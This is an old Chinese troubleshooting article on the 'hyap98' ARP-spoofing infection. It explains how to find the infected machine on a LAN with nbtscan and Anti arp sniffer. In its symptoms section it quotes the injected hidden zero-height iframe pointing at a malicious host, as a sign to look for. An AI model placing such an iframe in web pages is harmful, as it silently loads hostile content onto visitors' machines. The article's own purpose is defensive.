解决hyap98病毒的方法

对付hyap98病毒的最有效方法 （hyap98.com、zpx520.com等ani病毒处理方法）
对付hyap98病毒的最有效方法 （hyap98.com、zpx520.com等ani病毒处理方法）
作者：佚名    文章来源：本站原创    点击数： 9    更新时间：2007-6-21       
症状：
上网网页无法正常显示，打开IE->查看->源程序，发现里面有这样一行（或类似）代码
<iframe src=''http://www.hyap98.com/123/ad.htm'' height=''0''></iframe>
看来机子中毒了，于是用最新的杀毒软件（还有木马专杀工具）把整个硬盘杀了个底朝天，真的杀了不少病毒，这下该正常了吧。上网试试看，问题又重复出现，再杀，这次什么也没查到。怎么回事呢？原因：
其实你使用的电脑上，已经没有病毒了，有毒的是你所在局域网中的另一台电脑，它中了ARP病毒（欺骗）。那台中毒的电脑不断地将病毒送往你的电脑上。处理步骤：
第一步、下载Anti arp sniffer（网址http://www.data10000.com）和nbtscan（网址http://www.data10000.com/Soft/200706/5.html）两个软件吧。这两个工具能帮助你轻而易举地找到毒源。第二步、找出中毒的那一台电脑。
运行Anti arp sniffer，可能里面有些并不清楚，这就要借助nbtscan了。
点出开始->运行，填写command后确定，出现dos窗口，在DOS提示符下输入：d:\nbtscan\nbtscan -r 192.168.1.1/24。
（现在假设你运行的这台电脑的IP地址是192.168.1.18,网关192.168.1.1,局域网内的所有IP在192.168.1.1~254内，nbtscan文件所存目录在d盘nbtscan目录下。）
第三步、找到相应的数据填入Anti arp sniffer内，点击获取网关MAC地址->自动防护->防护地址冲突，不一会Anti arp sniffer小窗口就出现“攻击者MAC地址：00-e0-a0-0b-87-ca",右下解也出现arp欺骗提示，在DOS窗口内找到对应的IP地址是192.168.1.134名称叫“MING”的计算机，（未出现以上提示时，试一下用IE上网，包即时出现）这时有问题的电脑就找到了。用最新杀毒软件和反木马流氓软件（如360安全卫士http://www.360safe.com）,清除问题电脑上的病毒、木马、流氓软件（顺便说一下，杀毒最好在安全模式（开机时按F8键）下进行，正常启动时有很多无法清除）。